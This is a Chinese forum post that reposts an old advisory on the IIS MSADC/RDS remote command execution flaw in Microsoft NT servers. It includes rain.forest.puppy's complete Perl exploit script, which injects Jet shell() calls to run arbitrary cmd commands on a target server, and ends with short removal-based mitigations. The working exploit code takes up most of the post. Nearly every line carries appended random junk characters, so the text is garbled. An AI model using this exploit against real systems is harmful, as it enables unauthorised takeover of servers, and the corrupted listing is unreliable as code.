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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) gL wNHS  
,Q8h#0z r  
涉及程序: /^ [K  
Microsoft NT server l37l| xp~  
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描述: /oU$TaB>(  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 *zDL 5 9  
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详细: fH_Xm :%  
如果你没有时间读详细内容的话,就删除: 9OM&&Ue<E  
c:\Program Files\Common Files\System\Msadc\msadcs.dll X^. ~f+d~  
有关的安全问题就没有了。 V}t8H  
<kWNx.eci  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 R!_1*H$  
IpsV4nmnz-  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。  d|$-Sz  
关于利用ODBC远程漏洞的描述,请参看: `b[@GGv  
:,MI,SwnS  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ~*G}+Ur$2  
NJ!}(=1|K  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 hhr>nuA  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp Um I,?p  
;DI"9  
这里不再论述。 ] iiB|xT  
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3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: 9h^TOZK)  
C3 (PI,,  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset uulzJbV,K  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! O>arCr=H  
fH;lh-   
Oat #%  
#将下面这段保存为txt文件,然后: "perl -x 文件名" D?9EO=  
@|Hx >|p  
#!perl 8BM[c;-{g`  
# o%73M!-  
# MSADC/RDS 'usage' (aka exploit) script <+; cgF!+  
# m\J" P'=  
# by rain.forest.puppy  7e@Bkq0)  
# N+ei)-  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me 6)#%36rP  
# beta test and find errors! ]"\XTL0  
VDPq3`$+v{  
use Socket; use Getopt::Std; PAy7b7m~B  
getopts("e:vd:h:XR", \%args); .h;X5q1  
Sy34doAZ  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; [E/^bM+  
`k'Dm:*`u4  
if (!defined $args{h} && !defined $args{R}) { AG,;1b,:81  
print qq~ Kl+4A}Uo  
Usage: msadc.pl -h <host> { -d <delay> -X -v } d Y]i AJ  
-h <host> = host you want to scan (ip or domain) K|{&SU_m  
-d <seconds> = delay between calls, default 1 second q|R$A8)L.  
-X = dump Index Server path table, if available 4S,/Z{ J.  
-v = verbose 3a6  
-e = external dictionary file for step 5 Z`bo1,6>  
%v1*D^))  
Or a -R will resume a command session *XqS~G  
F5f1j]c  
~; exit;} 'd|E>8fejG  
VufG7%S{  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; 05vu{>  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} ou'|e"tI  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} 4 {3< `  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); -*&C "%e  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} Qx !! Ttd{  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } -;o`(3wZq  
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if (!defined $args{R}){ $ret = &has_msadc; i]n ?zWo_h  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} . aqP=  
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print "Please type the NT commandline you want to run (cmd /c assumed):\n" 2HJGp+H  
. "cmd /c "; 0i9C\'W`  
$in=<STDIN>; chomp $in; 7)+%;|~  
$command="cmd /c " . $in ; >R8eAR$N  
qy~@cPT  
if (defined $args{R}) {&load; exit;} .(8eWc YK  
W/I D8+:i  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; p4{3H+y  
&try_btcustmr; 'O]Ja-  
6dX l ny1H  
print "\nStep 2: Trying to make our own DSN..."; i"C?6R  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; pNR69/wGi  
1`8(O >5  
print "\nStep 3: Trying known DSNs..."; <\S j5  
&known_dsn; z[ N_3n  
ZE>!]# ,  
print "\nStep 4: Trying known .mdbs..."; wKs-<b%;  
&known_mdb; Yo#F;s7  
0_5j(   
if (defined $args{e}){ 7u7 <"?v=  
print "\nStep 5: Trying dictionary of DSN names..."; >c:- ;(k  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } f:K`M W  
; +E@h=?  
print "Sorry Charley...maybe next time?\n"; U?Icyn3q0  
exit; HFd>UdT%  
-}2e+DyAy  
############################################################################## * E3 c--  
K=C).5=U  
sub sendraw { # ripped and modded from whisker z@S39Xp==  
sleep($delay); # it's a DoS on the server! At least on mine... j{a3AEmps  
my ($pstr)=@_; iVGc\6+'  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || k/ ZuFTN  
die("Socket problems\n"); 9d!}]+"d42  
if(connect(S,pack "SnA4x8",2,80,$target)){ -a$7b;gF  
select(S); $|=1; XZ8;Ow=  
print $pstr; my @in=<S>; mh8~w~/[  
select(STDOUT); close(S); tpi>$:e  
return @in; spt='!)4  
} else { die("Can't connect...\n"); }} Ev;ocb,  
vVi))%&S(  
############################################################################## g$ oe00b  
wUz)9n 6j  
sub make_header { # make the HTTP request uua1_# a  
my $msadc=<<EOT *!y.!v*  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 lhA<wV1-9G  
User-Agent: ACTIVEDATA zx{O/v KG  
Host: $ip hq^@t6!C\m  
Content-Length: $clen pJ1Q~tI  
Connection: Keep-Alive 8QGj:3  
|.Pl[y  
ADCClientVersion:01.06 'qg q8  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 +t XOP|X  
!zNMU$p  
--!ADM!ROX!YOUR!WORLD! C=/nZGG  
Content-Type: application/x-varg #TX=%x6  
Content-Length: $reqlen |O]oX[~  
z3[0BWXs  
EOT -f-2!1&<3h  
; $msadc=~s/\n/\r\n/g; :J}@*>c  
return $msadc;} 8HLcDS#  
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############################################################################## r. :H`  
Vhs:X~=qL  
sub make_req { # make the RDS request 61J01(+|  
my ($switch, $p1, $p2)=@_; 97um7n  
my $req=""; my $t1, $t2, $query, $dsn; Ng} AEAFp  
"HQH]?!k  
if ($switch==1){ # this is the btcustmr.mdb query :bA@ u>  
$query="Select * from Customers where City=" . make_shell(); AT{ewb  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . g{ cHh(S  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} "kjjq~l  
\k|ZbCWg  
elsif ($switch==2){ # this is general make table query ,{{uRs/  
$query="create table AZZ (B int, C varchar(10))"; F W# S.<  
$dsn="$p1";} :oH"  
GBZx@B[TY  
elsif ($switch==3){ # this is general exploit table query .#b!#   
$query="select * from AZZ where C=" . make_shell(); sQS2U6  
$dsn="$p1";} ~4mgYzOmD`  
.#;;pu7W  
elsif ($switch==4){ # attempt to hork file info from index server fodr1M4J  
$query="select path from scope()"; f#p.=F$  
$dsn="Provider=MSIDXS;";} >, &6zj  
#mX=Y>l  
elsif ($switch==5){ # bad query *S.2p*Vd  
$query="select"; P~0d'Oi  
$dsn="$p1";} O>Nop5#o  
kgz2/,  
$t1= make_unicode($query); ?6 "F.\ O@  
$t2= make_unicode($dsn); %Iv0<oU  
$req = "\x02\x00\x03\x00"; URW'*\Xjb  
$req.= "\x08\x00" . pack ("S1", length($t1)); .Wq`q F(;  
$req.= "\x00\x00" . $t1 ; oWpy ^=D_  
$req.= "\x08\x00" . pack ("S1", length($t2)); S`"M;%T  
$req.= "\x00\x00" . $t2 ; U jC$Mi`O  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; BV&}(9z  
return $req;} LTY@}o]\U  
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############################################################################## 0=8.8LnN(  
F^=|NlU&%  
sub make_shell { # this makes the shell() statement 5U[;T]{)e  
return "'|shell(\"$command\")|'";} )(&g\  
X!n-nms  
############################################################################## Kk~0jP_B9  
U"xI1fg%b  
sub make_unicode { # quick little function to convert to unicode Z8=4cWI~;  
my ($in)=@_; my $out; *4^!e/  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } 6!i0ioZzi0  
return $out;} %xR;8IO  
3Lq?Y7#KQp  
############################################################################## =ot`V; Q>  
[pmZ0/l  
sub rdo_success { # checks for RDO return success (this is kludge) P,O9On  
my (@in) = @_; my $base=content_start(@in); KW.S)+<H&  
if($in[$base]=~/multipart\/mixed/){ s&lZxnIjc  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} P$@5&/]  
return 0;} UG+wRX :dA  
mV;Egm{A\  
############################################################################## d `Q$URn|  
Lvc*L6  
sub make_dsn { # this makes a DSN for us 0=s+bo1  
my @drives=("c","d","e","f"); ZBJYpeGe  
print "\nMaking DSN: "; b=QO^  
foreach $drive (@drives) { odquAqn  
print "$drive: "; ;sa-Bh=j^  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . 1H @GwQ|<=  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" 5jg^12EP  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); @)m+O#a  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; F5J=+Q%8[&  
return 0 if $2 eq "404"; # not found/doesn't exist ;G~0 VM2|  
if($2 eq "200") { 9h$-:y3  
foreach $line (@results) { ;P _`4w3  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} SM:{o&S`  
} return 0;} D;<Q m,[  
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############################################################################## ~]A';xH&  
k-T_,1l{  
sub verify_exists { \nx ^=4*yk  
my ($page)=@_; Xt8;Pl  
my @results=sendraw("GET $page HTTP/1.0\n\n"); C did*hxJ  
return $results[0];} o)?"P;UhJX  
q[q#cY:0  
############################################################################## K I$?0O  
|zvxKIW;wd  
sub try_btcustmr { y3$' gu|  
my @drives=("c","d","e","f"); \x x<\8Qr_  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 5D]%E?ag  
KL0u:I(lWU  
foreach $dir (@dirs) { @dJ s  
print "$dir -> "; # fun status so you can see progress m5zP|s1`['  
foreach $drive (@drives) { 89@89-_mC  
print "$drive: "; # ditto 'oEFNC9V  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; ,+*8 @>c  
$reqlenlen=length( "$reqlen" ); r,MgIv(L  
$clen= 206 + $reqlenlen + $reqlen; iAT&C`,(&  
#0L :h ?L  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); !HqIi@>8  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} ,US~p_M!  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} "~7| !9<  
*=S\jek  
############################################################################## VPn #O  
K~@-*8%  
sub odbc_error { X&M4 c5Li  
my (@in)=@_; my $base; =YZp,{T  
my $base = content_start(@in); Sd^e!? bp  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this ,h5.Si>  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 3VA8K@QiRm  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; S5v>WI^0h  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; P}&7G-  
return $in[$base+4].$in[$base+5].$in[$base+6];} YT, 1E>rd  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; >H5BY9]I  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . cPI #XPM=  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} }.2pR*W  
VrO$SmH  
############################################################################## [4Glt>Nj>  
F^T7u?^)  
sub verbose { J`}/+WN7  
my ($in)=@_; 68)z`JI|<)  
return if !$verbose; KzeA+PI  
print STDOUT "\n$in\n";} (LRv c!`"  
\E?1bc{\f  
############################################################################## O`t ]#  
* 2T&pX  
sub save { C+ r--"Z  
my ($p1, $p2, $p3, $p4)=@_; F.PD5%/$q  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; .XURI#b  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; <pYGcVB9V  
close OUT;} U`:#+8h-}  
5:CC\!&QBV  
############################################################################## ^67P(h  
LD_aJ^(d  
sub load { V)Z*X88:Tv  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; ;-^WUf |  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); %'4dg k  
@p=<IN>; close(IN); jDgiH}  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); ^bL.|vB  
$target= inet_aton($ip) || die("inet_aton problems"); eiP>?8  
print "Resuming to $ip ..."; kc|`VB8L  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; pwd7I  
if($p[1]==1) { wm*`  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; mkj`z  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; f>ED  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); yW|yZ(7  
if (rdo_success(@results)){print "Success!\n";}  U@m<  
else { print "failed\n"; verbose(odbc_error(@results));}} \~jt7 Q  
elsif ($p[1]==3){ v]U[7 j  
if(run_query("$p[3]")){ YZpF*E;6t  
print "Success!\n";} else { print "failed\n"; }} ^;W,:y&  
elsif ($p[1]==4){ CL9p/PJ%e  
if(run_query($drvst . "$p[3]")){ evg i\"  
print "Success!\n"; } else { print "failed\n"; }} z~o%U&DO}  
exit;} AZl|; y  
%Dsa ~{  
############################################################################## lJKhP  
N1P [&lR  
sub create_table { k@4]s_2  
my ($in)=@_; `x6 i5mp  
$reqlen=length( make_req(2,$in,"") ) - 28; a2Q9tt>Q  
$reqlenlen=length( "$reqlen" ); '9<Mk-Aj  
$clen= 206 + $reqlenlen + $reqlen; Ez<J+#)t  
my @results=sendraw(make_header() . make_req(2,$in,"")); ^"6xE nA]  
return 1 if rdo_success(@results); 'n!;7*  
my $temp= odbc_error(@results); verbose($temp); U G^6I5  
return 1 if $temp=~/Table 'AZZ' already exists/; a/_sL(F{  
return 0;} ] =>vv;L  
;?zb (2  
##############################################################################  >?U (w<  
O~fRcf:Q  
sub known_dsn { 0~Yg={IKhK  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go bi KpV? Dp  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", I7BfA,mZ7  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", H0tjN&O_  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); )u\"xxcV  
q$b/T+-ec  
foreach $dSn (@dsns) { HewVwD<C  
print "."; D9#e2ex]  
next if (!is_access("DSN=$dSn")); <po(7XB  
if(create_table("DSN=$dSn")){ )]>=Uo  
print "$dSn successful\n"; ]Z<{ ~  
if(run_query("DSN=$dSn")){ s'~_pP  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 2c8,H29  
print "Something's borked. Use verbose next time\n";}}} print "\n";} z %+?\.oH  
lOd[8|/  
############################################################################## N ?V5gi  
m'aw`?  
sub is_access { T{sw{E*  
my ($in)=@_; K Qub%`n  
$reqlen=length( make_req(5,$in,"") ) - 28; a5Xr"-  
$reqlenlen=length( "$reqlen" ); ET=q 1t8  
$clen= 206 + $reqlenlen + $reqlen; quGb;)3  
my @results=sendraw(make_header() . make_req(5,$in,"")); 7:M%w'oR  
my $temp= odbc_error(@results); qx0J}6+NlU  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); 0Lc X7gU>  
return 0;} kz,Nz09}W  
Sm+Ek@Ax  
############################################################################## lmr {Ib2a  
 9l{r&]  
sub run_query { Am  kHVg  
my ($in)=@_; C/!2q$  
$reqlen=length( make_req(3,$in,"") ) - 28; 2R2Z6}  
$reqlenlen=length( "$reqlen" ); /=m=i%& #  
$clen= 206 + $reqlenlen + $reqlen; db.iMBki  
my @results=sendraw(make_header() . make_req(3,$in,"")); P>4(+s  
return 1 if rdo_success(@results); /:yKa=$  
my $temp= odbc_error(@results); verbose($temp); =\:YNP/  
return 0;} `jP\*k`~]  
.~W7{SY[  
############################################################################## !WVF{L,/I  
q3scz  
sub known_mdb { pN*>A^  
my @drives=("c","d","e","f","g"); AU-/-h=Mr  
my @dirs=("winnt","winnt35","winnt351","win","windows"); f*oL8"?u&  
my $dir, $drive, $mdb; P-^Z7^o-bX  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; \zj8| +  
TO( =4;U  
# this is sparse, because I don't know of many  &h4(lM  
my @sysmdbs=( "\\catroot\\icatalog.mdb", :kY][_  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", x:sTE u@  
"\\system32\\certmdb.mdb", 5'l+'ox@J  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% Rq4\~F?  
$ZQPf  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", #FuOTBNvB  
"\\cfusion\\cfapps\\forums\\forums_.mdb", 0_"J>rMp  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", U6.$F#n  
"\\cfusion\\cfapps\\security\\realm_.mdb", ? 76jz>;b  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", ~73YOGiGJH  
"\\cfusion\\database\\cfexamples.mdb", '^7Sa  
"\\cfusion\\database\\cfsnippets.mdb", I"T_<  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", Vs{|:L+  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", 5Z`f)qE  
"\\cfusion\\brighttiger\\database\\cleam.mdb", 5G\vV]RR&  
"\\cfusion\\database\\smpolicy.mdb", G9Xrwk<g4  
"\\cfusion\\database\cypress.mdb", YdE$G>&em  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", d['BtVJ  
"\\website\\cgi-win\\dbsample.mdb", i/)Uj-*G)  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", "'6KQnpZ  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" O$#`he/jm  
); #these are just ajkRL|^  
foreach $drive (@drives) { <k<  
foreach $dir (@dirs){ v C><N  
foreach $mdb (@sysmdbs) { SwSBQq%h]M  
print "."; h7*fjw-Xz[  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ g%9I+(?t  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; \n:'>:0X!  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ (MNbABZQ  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; 5^0W\  
} else { print "Something's borked. Use verbose next time\n"; }}}}} 7*@qd&  
EVRg/ {X  
foreach $drive (@drives) { kCN9`9XI{  
foreach $mdb (@mdbs) { \!G&:<h  
print "."; @Cw<wrem  
if(create_table($drv . $drive . $dir . $mdb)){ ,pf<"^li  
print "\n" . $drive . $dir . $mdb . " successful\n"; &:'Uh W-t  
if(run_query($drv . $drive . $dir . $mdb)){ NbG3^(  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; V/762&2X  
} else { print "Something's borked. Use verbose next time\n"; }}}} \'E%ue_<9  
} /0"Y. @L  
iSIj ?.  
############################################################################## g%RL9-z  
e-{k;V7b  
sub hork_idx { Xv=n+uo  
print "\nAttempting to dump Index Server tables...\n"; HRPTP+  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; + s1mm c  
$reqlen=length( make_req(4,"","") ) - 28; Z$HYXm  
$reqlenlen=length( "$reqlen" ); F S1<f:  
$clen= 206 + $reqlenlen + $reqlen; \7gLk:  
my @results=sendraw2(make_header() . make_req(4,"","")); 9Z rWG  
if (rdo_success(@results)){ ;t"#7\  
my $max=@results; my $c; my %d; in#g  
for($c=19; $c<$max; $c++){ f4`=yj*  
$results[$c]=~s/\x00//g; uN6TV*]:  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; Wl::tgU  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; P) GBuW  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; \t^q@}~0Wz  
$d{"$1$2"}="";} ]hv4EL(zi  
foreach $c (keys %d){ print "$c\n"; } `){*JPl  
} else {print "Index server doesn't seem to be installed.\n"; }} Sn" 1XU  
(AXS QI~y  
############################################################################## I&R4.;LW  
m:Z=: -x  
sub dsn_dict { yWt87+%T  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); V\)@Yk2  
while(<IN>){ 6^UeEmjc  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; ).-B@&Eu%  
next if (!is_access("DSN=$dSn")); 1 ,[T;pdDd  
if(create_table("DSN=$dSn")){ [y=k}W}z  
print "$dSn successful\n"; hD # Yz<  
if(run_query("DSN=$dSn")){ Wx;9N  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 0gfa7+Y  
print "Something's borked. Use verbose next time\n";}}} 9$ UjZ$ v  
print "\n"; close(IN);} Xm\tyLY  
7(Y!w8q&^  
############################################################################## {gK i15t  
?sp  
sub sendraw2 { # ripped and modded from whisker nmS3  
sleep($delay); # it's a DoS on the server! At least on mine... h"]v+u`!SM  
my ($pstr)=@_; 3D;\V&([  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || f:Ju20D  
die("Socket problems\n"); c%Kv"Z%f  
if(connect(S,pack "SnA4x8",2,80,$target)){ N;<<-`i  
print "Connected. Getting data"; KuE 2a,E4  
open(OUT,">raw.out"); my @in; 'UW7zL5  
select(S); $|=1; print $pstr; waO*CjxE:  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} C37KvLQ  
close(OUT); select(STDOUT); close(S); return @in; j4+hWalm  
} else { die("Can't connect...\n"); }} D|`[ [  
aq,&W q@  
############################################################################## <iJ->$  
)#IiHBF  
sub content_start { # this will take in the server headers xREqcH,vU  
my (@in)=@_; my $c; >Y)jt*vQ  
for ($c=1;$c<500;$c++) { FU5vo  
if($in[$c] =~/^\x0d\x0a/){ |UBR8  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } !-LPFy>  
else { return $c+1; }}} &Q(Q/]U~  
return -1;} # it should never get here actually s26:(J [{  
9IC"p<D  
############################################################################## Hc5@ gN  
h^?[:XBeav  
sub funky { sAC1Pda  
my (@in)=@_; my $error=odbc_error(@in); @&mv4zz&W  
if($error=~/ADO could not find the specified provider/){ ) dwPD  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; %HwPOEJ  
exit;} y%`^* E&  
if($error=~/A Handler is required/){ 6hAeLlU1  
print "\nServer has custom handler filters (they most likely are patched)\n"; mY#[D; mUe  
exit;} lNls8@  
if($error=~/specified Handler has denied Access/){ L ?4c8!Q  
print "\nServer has custom handler filters (they most likely are patched)\n"; _"##p  
exit;}} tjuW+5O  
!$qNugLg  
############################################################################## p,$1%/m  
jYO@ %bQ  
sub has_msadc { o @~XX@5l  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); I zM=?,`  
my $base=content_start(@results); 1LT)%_d@  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); -Ufd+(   
return 0;} kO~xE-(=  
Pm%ZzU  
######################## M+ 8!#n  
Yf7n0Etd,  
T"dX)~E;  
解决方案: +:mj]`=  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll bX=ht^e [  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 V-O49  
e7>)Z  
拿出来充数 哈哈
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